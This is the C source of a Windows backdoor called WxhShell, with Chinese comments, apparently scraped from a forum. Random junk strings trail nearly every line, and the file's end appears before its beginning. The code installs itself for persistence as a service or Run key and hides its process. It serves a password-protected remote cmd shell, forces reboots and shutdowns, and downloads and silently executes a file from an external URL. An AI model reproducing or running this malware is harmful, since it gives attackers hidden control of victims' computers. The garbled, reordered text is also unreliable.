    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &AkzSgP  
    else {  Wl}G[>P  
    closesocket(wsh); `pn-fk  
    ExitThread(0); p)AvG;  
    } f]^J,L9qz  
    break; K1qY10F:_  
    } c"jhbH!u4  
  // 获取shell V3. vE,  
  case 's': { e3bAT.P  
    CmdShell(wsh); #&HarBxx  
    closesocket(wsh); )xXrs^  
    ExitThread(0); ./z"P]$  
    break; ]MBJ"1F  
  } TO8\4p*tE  
  // 退出 2gNBPd)I  
  case 'x': { tF)k6*+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^!{ oAzy9  
    CloseIt(wsh); t2U]CI%  
    break; *PA1iNdKS  
    } c9F[pfi(  
  // 离开 bC>yIjCTn  
  case 'q': { ~S~x@&yR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m78MWz]Yo  
    closesocket(wsh); Rg!aKdDl$  
    WSACleanup(); U~QCN[gh  
    exit(1); o8yEUnqN  
    break; v:so85(S<  
        } Ii2g+SlQDa  
  } Yqj.z|}Nb  
  }  \1c`)  
zke~!"iq  
  // 提示信息 +P<w<GfQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jh hT7\h(  
} )r-|T&Sn  
  } ~`Gcq"7, !  
pR^Y|NG!  
  return; Xj&~N;Ysb  
} ps4Wwk(  
0V>N#P]  
// shell模块句柄 ztt%l #  
int CmdShell(SOCKET sock) % /wP2O<  
{ 0zk T8'v  
STARTUPINFO si; c&iK+qvh{  
ZeroMemory(&si,sizeof(si)); 4FP~+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |'>E};D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _S7M5{U_  
PROCESS_INFORMATION ProcessInfo; ` TVcI\W  
char cmdline[]="cmd"; .$T:n[@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yk*57&QI  
  return 0; 0OoO cc  
} DG%%]  
2ucsTh@  
// 自身启动模式 APOU&Wd  
int StartFromService(void) *p<5(-J3  
{ ($ 1<Dj:  
typedef struct (2a "W`  
{ bm]dz;ljh  
  DWORD ExitStatus; qCFXaj   
  DWORD PebBaseAddress; pDnFT2  
  DWORD AffinityMask; kJ5?BdvM&  
  DWORD BasePriority; u\& [@v  
  ULONG UniqueProcessId; SwmPP-n  
  ULONG InheritedFromUniqueProcessId; OrqJo!FEg{  
}   PROCESS_BASIC_INFORMATION; 2$/gg"g+  
dJ"xW; "  
PROCNTQSIP NtQueryInformationProcess; .TrQ +k>  
"u> sS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ucm.~1G(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?;=Y1O7N(  
9Z_OLai  
  HANDLE             hProcess; q@!H^hd}  
  PROCESS_BASIC_INFORMATION pbi; =;?PVAdu%#  
38.J:?Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^# g;"K0  
  if(NULL == hInst ) return 0; z4%F2Czai&  
W1,L>Az^Ts  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |$-d, ] V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !-}*jm p<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UK9MWC5g9  
o[+|n[aT)3  
  if (!NtQueryInformationProcess) return 0; V5^b6$R@  
5 WNRo[`7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Yv.-A=ZIg  
  if(!hProcess) return 0; {~{s=c0  
f0'Wq^^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _=M'KCL*)  
sYW)h$p;D  
  CloseHandle(hProcess); 4Xho0lO&  
wjGjVTtHs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HC`3AQ12!&  
if(hProcess==NULL) return 0; ,(Hmk(,  
!`Yi{}1_  
HMODULE hMod; 9Q5P7}%p  
char procName[255]; m.g@S30  
unsigned long cbNeeded; K@u."eaD  
wk 7_(gT`0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h+d;`7Z>  
g.sV$.T2K  
  CloseHandle(hProcess); ^XB8A=xi  
Zkep7L   
if(strstr(procName,"services")) return 1; // 以服务启动 WHk/mAI-s  
D{d$L9.  
  return 0; // 注册表启动 COJ!b  
} Rm 1`D  
CO+jB  
// 主模块 .7^-*HT}  
int StartWxhshell(LPSTR lpCmdLine) 1X}Tp\e  
{ a9_KQ=&CI  
  SOCKET wsl; JBJ7k19;  
BOOL val=TRUE; ]O ` [v  
  int port=0; g#2X'%&+  
  struct sockaddr_in door; 3jVm[c5%]  
)'CEWc%  
  if(wscfg.ws_autoins) Install(); ]|BSX-V.%i  
MOeLphY  
port=atoi(lpCmdLine); hd BC ^n  
A0k>Nb\c3  
if(port<=0) port=wscfg.ws_port; g>-[-z$E3  
*^5,7}9Qo  
  WSADATA data; xa*gQ%+F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^W05Z!}  
)GKgK;=~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s;M*5|-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {mitF  
  door.sin_family = AF_INET; BfLZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j7 3@Yi%  
  door.sin_port = htons(port); PGhZ`nl  
!27]1%Aw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U: jf9L2  
closesocket(wsl); h4i $z-!  
return 1; ;i?!qB>baX  
} TRok4uc  
`5&V}"lB  
  if(listen(wsl,2) == INVALID_SOCKET) { W)~.o/;  
closesocket(wsl); %$KO]   
return 1; L=FvLii.  
} *g6o ;c  
  Wxhshell(wsl); 'U0I.x(  
  WSACleanup(); A:J{  
WkIV  
return 0; bD-Em#>  
<\EfG:e  
} GLF"`M/g  
<%7 V`,*g/  
// 以NT服务方式启动 cTTE] ix]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )eMh,r  
{ )fL*Ws6  
DWORD   status = 0; o+Z9h1z%,  
  DWORD   specificError = 0xfffffff; X($SBUS6  
qE:DJy <  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a$O]'}]`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {\zr_v`g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9iNns;^`q  
  serviceStatus.dwWin32ExitCode     = 0; F ;&e5G  
  serviceStatus.dwServiceSpecificExitCode = 0; m3-J0D<  
  serviceStatus.dwCheckPoint       = 0; _=x_"rz x  
  serviceStatus.dwWaitHint       = 0; xB+H7Ya  
2:F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); " ?,6{\y,  
  if (hServiceStatusHandle==0) return; (\>'yW{f  
-Lb^O/  
status = GetLastError(); ,4,c-   
  if (status!=NO_ERROR) 2H "iN[2A  
{ ,quTMtk~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,?/<fxIY  
    serviceStatus.dwCheckPoint       = 0; %/on\*Vh3  
    serviceStatus.dwWaitHint       = 0; e_-/p`9  
    serviceStatus.dwWin32ExitCode     = status; {jf~?/<  
    serviceStatus.dwServiceSpecificExitCode = specificError; RBD MZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;)a9Y?  
    return; uJ\Nga<?  
  } `%p6i| _Q  
Zx 1z hc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `ayc YoD  
  serviceStatus.dwCheckPoint       = 0; .&xNJdsY  
  serviceStatus.dwWaitHint       = 0; 8m<<tv.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %MNV 5UA[w  
} b{Ss+F  
2GzpWV(  
// 处理NT服务事件,比如:启动、停止 AMz=HN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R!G7;m'N1  
{ Yk?q7xuT  
switch(fdwControl) G'f"w5%qZv  
{ <DS6-y  
case SERVICE_CONTROL_STOP: N2e<Y_T  
  serviceStatus.dwWin32ExitCode = 0; ]SgeZ07  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >6+K"J-@  
  serviceStatus.dwCheckPoint   = 0; i@L2W>{P  
  serviceStatus.dwWaitHint     = 0; /)TEx}wk  
  { }}1Q<puM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V p{5Kxq  
  } Y_sVe  
  return; s3 $Q_8H  
case SERVICE_CONTROL_PAUSE: R2W_/fsG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -+_&#twU  
  break; .?RjH6W  
case SERVICE_CONTROL_CONTINUE: }wXD%X@)l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t7FQ.E,T  
  break; &J:)*EjVl5  
case SERVICE_CONTROL_INTERROGATE: {[ *_HAy7  
  break;  Jx w<*  
}; m)}MkC-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cO&9(.d  
} [^~9wFNtd  
G1 tp  
// 标准应用程序主函数 !k9h6/ b6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2s%M,Nb  
{ O%e.u>=4%  
C|LQYz-{  
// 获取操作系统版本 EQC  
OsIsNt=GetOsVer(); f*Js= hvO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _9r{W65s  
^j}sS!p  
  // 从命令行安装 0+LloB  
  if(strpbrk(lpCmdLine,"iI")) Install(); t@M] ec  
gQ#T7  
  // 下载执行文件 iZk``5tPE  
if(wscfg.ws_downexe) { G9Tix\SpF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hc|U@G  
  WinExec(wscfg.ws_filenam,SW_HIDE); *pp1Wa7O  
} DU8LU*q'  
S '+"+%^tj  
if(!OsIsNt) { k1zt|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]5/U}Um  
HideProc(); aS G2K0  
StartWxhshell(lpCmdLine); ts>}>}@vc  
} ulJYJ+CC!  
else e]h'  
  if(StartFromService()) =]"|x7'!  
  // 以服务方式启动 ifZNl,  
  StartServiceCtrlDispatcher(DispatchTable); Ypj)6d  
else ,$$$_+m\  
  // 普通方式启动 oW6<7>1M7  
  StartWxhshell(lpCmdLine); !H\GHA'DO]  
.+h pxZ  
return 0; [zEP|  
} . *xq =  
ped Yf{T  
HYmXPpse  
y:[]+  
=========================================== %Oqe7Cx>+  
k|'Mh0G0  
\;gt&*$-  
pUGfm  
P@`"MNS  
f om"8iL1  
" N)WG~=Gi  
X(28 xbd|  
#include <stdio.h> ;NeEgqW "  
#include <string.h> 1G.gPx[  
#include <windows.h> ?ovGYzUZ  
#include <winsock2.h> 1:UC\WW  
#include <winsvc.h> JZxF)] ^  
#include <urlmon.h> d2yHfl]3  
F*:NKT d  
#pragma comment (lib, "Ws2_32.lib") I.1l  
#pragma comment (lib, "urlmon.lib") 5zna?(#}  
z}8L}:  
#define MAX_USER   100 // 最大客户端连接数 :=v{inN  
#define BUF_SOCK   200 // sock buffer #q.G_-H4J@  
#define KEY_BUFF   255 // 输入 buffer 6*33k'=;F  
?^4sE-C6  
#define REBOOT     0   // 重启 IkNt! 2s_  
#define SHUTDOWN   1   // 关机 uA`PZ|  
ER1mA:8>E  
#define DEF_PORT   5000 // 监听端口 Q.dy $`\  
9yw/-nA  
#define REG_LEN     16   // 注册表键长度 pu*u[n  
#define SVC_LEN     80   // NT服务名长度 8w?\_P7QA  
l{m~d!w`a  
// 从dll定义API MPy][^s!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E9 q;>)}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5THS5'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B/kn&^z$|~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K(fLqXE%  
g_c)Ts(  
// wxhshell配置信息 bv>lm56  
struct WSCFG { bTp2)a^G  
  int ws_port;         // 监听端口 a;(zH*/XK  
  char ws_passstr[REG_LEN]; // 口令 JMl hBh  
  int ws_autoins;       // 安装标记, 1=yes 0=no \[I .  
  char ws_regname[REG_LEN]; // 注册表键名 $= xQX  
  char ws_svcname[REG_LEN]; // 服务名 b7sE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >1I2R/'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (ul-J4E\O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fYM6wYJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (H%d]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CVG>[~}(9'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EFt`<qwj  
<`UG#6z8  
}; C_ZD<UPA\  
15o *r  
// default Wxhshell configuration ,Ysl$^\  
struct WSCFG wscfg={DEF_PORT, ,T*_mDVY  
    "xuhuanlingzhe", VD3MJ8!w  
    1, %7d@+ .  
    "Wxhshell", m&0BbyE.z  
    "Wxhshell", G_N-}J>EP  
            "WxhShell Service", 1za'u_  
    "Wrsky Windows CmdShell Service", ,xD*^>!  
    "Please Input Your Password: ", HmB[oH "x  
  1, *@n3>$  
  "http://www.wrsky.com/wxhshell.exe", iZ6C8HK&&  
  "Wxhshell.exe" s_Oh >y?Aq  
    }; T_tDpq_|  
f"<@6Axq  
// 消息定义模块 7h#faOP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7e{X$'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SA+%c)j29  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L[Yp\[#-q  
char *msg_ws_ext="\n\rExit."; AKC foJ  
char *msg_ws_end="\n\rQuit."; K0RYI69_  
char *msg_ws_boot="\n\rReboot..."; Dq%r !)  
char *msg_ws_poff="\n\rShutdown..."; ^!p<zZ  
char *msg_ws_down="\n\rSave to "; +[8Kl=]L  
]{2{:`s  
char *msg_ws_err="\n\rErr!"; Q] yT  
char *msg_ws_ok="\n\rOK!"; C6V&R1"s  
X$|TN+Ub  
char ExeFile[MAX_PATH]; !eAdm  
int nUser = 0; !:O/|.+Vmf  
HANDLE handles[MAX_USER]; OV("mNh  
int OsIsNt; 6SBvn%  
p@7i=hyt`p  
SERVICE_STATUS       serviceStatus; *(&ClUQQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xtu`5p_Qv  
tGO[A#9a  
// 函数声明 ^A "lkV7  
int Install(void); n &\'Hm  
int Uninstall(void); J6( RlHS;  
int DownloadFile(char *sURL, SOCKET wsh); +>WC^s  
int Boot(int flag); ,rB9esxic  
void HideProc(void); 1'v!9  
int GetOsVer(void); keQXJ0  
int Wxhshell(SOCKET wsl); S|q!? /jqj  
void TalkWithClient(void *cs); U|Z>SE<k  
int CmdShell(SOCKET sock); ')u5l  
int StartFromService(void); XL7;^AE^Wl  
int StartWxhshell(LPSTR lpCmdLine); 9oz(=R  
,D@ ;i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f5yux}A{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W93JY0Ls9|  
&I}T<v{f  
// 数据结构和表定义 Q),3&4pM  
SERVICE_TABLE_ENTRY DispatchTable[] = NB W%.z  
{ lKV\1(`  
{wscfg.ws_svcname, NTServiceMain}, jq("D,  
{NULL, NULL} *L;pcg8{  
}; ,P@/=I5  
yXTK(<'  
// 自我安装 -q&7J' N  
int Install(void) "0H56#eW  
{ ^?s~Fk_V  
  char svExeFile[MAX_PATH]; WE.$at{*h  
  HKEY key; y  KYP  
  strcpy(svExeFile,ExeFile); iIGI=EwZ  
1] %W\RHxo  
// 如果是win9x系统,修改注册表设为自启动 /K,|k EE'n  
if(!OsIsNt) { JIP+ !2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cl t5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,jbGM&.C  
  RegCloseKey(key); %0NkIQ`C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zY1s7/$ i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =CKuiO.j  
  RegCloseKey(key); 5i4V5N>3  
  return 0; 77xq/c[)  
    } i[2bmd!H  
  } s^g.42?u  
} p2Dh3)&  
else { < g3du~  
t/d',Khg  
// 如果是NT以上系统,安装为系统服务 >d{dZD}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5e#&"sJ.1  
if (schSCManager!=0) 8R\>FNk;  
{ ]{,Gf2v;;d  
  SC_HANDLE schService = CreateService *^@#X-NG  
  ( 2&.n  
  schSCManager, wc7mJxJxA  
  wscfg.ws_svcname, . 0 s[{x  
  wscfg.ws_svcdisp, b46[fa   
  SERVICE_ALL_ACCESS, hgweNRTh!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .# 6n  
  SERVICE_AUTO_START, \K?(  
  SERVICE_ERROR_NORMAL, c Pq Dsl3  
  svExeFile, X-)RU?  
  NULL, .:{h{@a  
  NULL, r=~WMDCz@  
  NULL, }XX~ W}M(\  
  NULL, 1p7cv~#95  
  NULL "U% n0r2  
  ); axK6sIxx  
  if (schService!=0) + mfe*'AU  
  { *GbVMW[A>  
  CloseServiceHandle(schService); RgB6:f,  
  CloseServiceHandle(schSCManager); 'yPCZ`5H(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .3lGX`d{  
  strcat(svExeFile,wscfg.ws_svcname); \7Gg2;TA6o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V#'26@@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e2AN[Ar  
  RegCloseKey(key); Pz]bZPHn  
  return 0; $J QWfGwR  
    } Q_&}^  
  } hrs#ZZ:E  
  CloseServiceHandle(schSCManager); m~)Fr8Wh6  
} M.ZEqV+k  
} jWH{;V&ZV  
f^W[; w  
return 1; E?30J3S  
} jM5_8nS&d  
=\~E n5  
// 自我卸载 r0\cc6  
int Uninstall(void) ?HrK\f3wWO  
{ lLuID  
  HKEY key; de> ?*%<  
=X-^YG3x  
if(!OsIsNt) { (jU/Wj!q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Fj5v$J-  
  RegDeleteValue(key,wscfg.ws_regname); -VS9`7k  
  RegCloseKey(key); C#MF pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M{`/f@z(  
  RegDeleteValue(key,wscfg.ws_regname); :s'o~   
  RegCloseKey(key); q} ]'Q -  
  return 0; j/)"QiS*?  
  } r<;l{7lY_  
} k? 3S  
} slU  
else { W8w3~  
01U *_\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bTZ>@~$  
if (schSCManager!=0) j?EskT6  
{ h ?uqLsRl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 06 QU  
  if (schService!=0) 5Z/yhF.{  
  { 5]jx5!N  
  if(DeleteService(schService)!=0) { )O,wRd>5  
  CloseServiceHandle(schService); q=|R89  
  CloseServiceHandle(schSCManager); >qR7'QwP  
  return 0; r& vFikIz  
  } IQ ){(Y  
  CloseServiceHandle(schService); nD7|8,'  
  } NF6X- ,c d  
  CloseServiceHandle(schSCManager); bf& }8I$  
} _p\629`  
} kmryu=  
=EQJqj1T  
return 1; i.3cj1  
} 3pvYi<<D'  
!X^Hi=aV  
// 从指定url下载文件 :6XguU  
int DownloadFile(char *sURL, SOCKET wsh) /\na;GI$  
{ 6gXIt9B.h$  
  HRESULT hr; l0I}&,+  
char seps[]= "/"; vt//)*(.$  
char *token; ujU=JlJ7dl  
char *file; K&*iw`  
char myURL[MAX_PATH]; z9[[C^C  
char myFILE[MAX_PATH]; YRPm^kW  
7 _`L$<-n  
strcpy(myURL,sURL); Ck: 9gn  
  token=strtok(myURL,seps); Rj^7#,993  
  while(token!=NULL) t)` p@]j  
  { :z]}ZZ  
    file=token; ?AEd(_a!q  
  token=strtok(NULL,seps); -;^;2#](g  
  } nSS>\$  
OB(pIzSe  
GetCurrentDirectory(MAX_PATH,myFILE); h;-a`@rO ;  
strcat(myFILE, "\\"); ;x-(kIiE  
strcat(myFILE, file); #?dUv#  
  send(wsh,myFILE,strlen(myFILE),0); z"lqrSJ:  
send(wsh,"...",3,0); |'tW=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @5WgqB  
  if(hr==S_OK) r!7Y'|  
return 0; "< v\M85&  
else ['z!{Ez  
return 1; n|Pr/ddL   
 ?>af'o:  
} b/t  
} ^i b  
// 系统电源模块 =VNSi K>F  
int Boot(int flag) Y2C9(Zk U  
{ h35Hu_c&  
  HANDLE hToken; 1"}cdq.  
  TOKEN_PRIVILEGES tkp; Z?oG*G:  
TI=h_%mO  
  if(OsIsNt) { Cs wE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); in<}fAro6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yPV' pT)  
    tkp.PrivilegeCount = 1; P-CB;\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . V$ps-t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y>B P?l  
if(flag==REBOOT) { r [s!F=^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p~2UUm V  
  return 0; LvJGvj  
} JQ@fuo %  
else { Gih[i\%Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _tAQ=eBO  
  return 0; &-%X:~|:X  
} P}V=*g  
  } k;I  &.H  
  else { EATu KLP\  
if(flag==REBOOT) { 3$VxRz)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N L'R\R  
  return 0; HRB[GP+  
} (vc|7DX M  
else {  iEIg:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?7[alV~  
  return 0; '9s5OTkN ;  
} 1tB[_$s  
} BByCM Y  
.R5y:O  
return 1; 99=s4*xzM  
} 2 -Xdoxw  
wvMW|  
// win9x进程隐藏模块 cu&,J#r%  
void HideProc(void) zP!J/}z  
{ Z{R[Wx  
kS :\Oz\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JN'cXZJPn  
  if ( hKernel != NULL ) G^wtE90  
  { w~Ff%p@9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xf d*D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @]HXP_lyD/  
    FreeLibrary(hKernel); uS+k^ #  
  } @ O>&5gB1u  
8' K0L(3[  
return; ;n6b%,s  
} }P9Ap3?  
1mH%H*#  
// 获取操作系统版本 R}:KE&tq  
int GetOsVer(void) uj|BQ`k  
{ ~u87H?  
  OSVERSIONINFO winfo; [zkikZy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o.-C|IXG  
  GetVersionEx(&winfo); }-@4vl x$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ' GG=Ebt  
  return 1; G{9X)|d  
  else l4y{m#/  
  return 0; gRJfX %*F  
} |o<8}Nja6  
tMp=-"  
// 客户端句柄模块 RDM`9&V!jp  
int Wxhshell(SOCKET wsl) v4Ga0]VN$8  
{ RthT \%R  
  SOCKET wsh; WO</Mw  
  struct sockaddr_in client; LN2D  
  DWORD myID; AVw%w&|%  
17.x0 gW,  
  while(nUser<MAX_USER) zsXoBD\h  
{ wnLi2k/Dt<  
  int nSize=sizeof(client); ? 1*m,;Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :-`7Q\c}  
  if(wsh==INVALID_SOCKET) return 1; r\`+R"  
Jb["4X;h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <?Wti_ /M  
if(handles[nUser]==0) o*g|m.SjL  
  closesocket(wsh); $2~\eG=u H  
else <plC_{Y:wu  
  nUser++; D]s]"QQ8  
  } M$Zo.Bl$(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U`|0 jJ  
v%{.A)  
  return 0; %wptZ"2M  
} k0-G$|QgIp  
cLY c6  
// 关闭 socket qU6nJi+-I  
void CloseIt(SOCKET wsh) US [dkbKo  
{ Gfp1mev   
closesocket(wsh); 3jH\yXj  
nUser--; fq[;%cr4  
ExitThread(0); X|D!VX>#!  
} l`-bFmpA  
R%D'`*+  
// 客户端请求句柄 U$dh1;  
void TalkWithClient(void *cs) mo{MR:>)  
{ `(6r3f~XJ  
?ULo&P[  
  SOCKET wsh=(SOCKET)cs; C[!MS5  
  char pwd[SVC_LEN]; 3bZIYF2@  
  char cmd[KEY_BUFF]; C:8_m1Y{  
char chr[1]; ^u}L;`L  
int i,j; >gwz,{  
vsWHk7 9  
  while (nUser < MAX_USER) { :'F}Dy  
hI?sOR!  
if(wscfg.ws_passstr) { z@Q@^ &0Mr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + b$=[nfG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ISz?~8  
  //ZeroMemory(pwd,KEY_BUFF); }]n$ %g (  
      i=0; cKb)VG^  
  while(i<SVC_LEN) { p Dx-2:}  
R" )bDy?  
  // 设置超时 (/-hu[:  
  fd_set FdRead; km^^T_ M/  
  struct timeval TimeOut; 6 5y+Z  
  FD_ZERO(&FdRead); VvFC -r,=G  
  FD_SET(wsh,&FdRead); lv vs%@b>  
  TimeOut.tv_sec=8; K{b(J Nd  
  TimeOut.tv_usec=0; r78TE@d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -/{ 4Jf Wf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "YdEE\  
-C(b,F%%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q+b D}emd  
  pwd=chr[0]; 8]4U`\k4  
  if(chr[0]==0xd || chr[0]==0xa) { 7\*FEjRM]  
  pwd=0; &B! o,qp  
  break; `(A5f71MfM  
  } C2Xd?d  
  i++; uVzFsgBp  
    } l]~n3IK"  
OGl$W>w1  
  // 如果是非法用户,关闭 socket iyj+:t/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2I*;A5$N1  
} "qc6=:y}  
z'uK3ng\hH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7j nIv];i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z1^gDjkZ  
5~mh'<:  
while(1) { K\XH4kic  
+)2s-A f-  
  ZeroMemory(cmd,KEY_BUFF); F(na{<g};  
[]a[v%PkG  
      // 自动支持客户端 telnet标准   o9cM{ya/>  
  j=0; r$]HIvJD  
  while(j<KEY_BUFF) { JaB<EL-9r2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?wnzTbJN  
  cmd[j]=chr[0]; ~ek$C  
  if(chr[0]==0xa || chr[0]==0xd) { v3v[[96p  
  cmd[j]=0; LM&y@"wfm  
  break; @+atBmt  
  } _`64gS}^  
  j++; R+&jD;U{  
    } ^ bEc6`eE  
n_3O-X(  
  // 下载文件 =gcM%=*'  
  if(strstr(cmd,"http://")) { $Y5)(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H\XP\4#u  
  if(DownloadFile(cmd,wsh)) |&Ym@Jyj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-ri=E}>  
  else TEDAb >  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ok n(pJ0  
  } F <hJp,q9  
  else { gn3jy^5  
Ug&,Y/tFw2  
    switch(cmd[0]) { eds26(  
  ~ o1x;Y6  
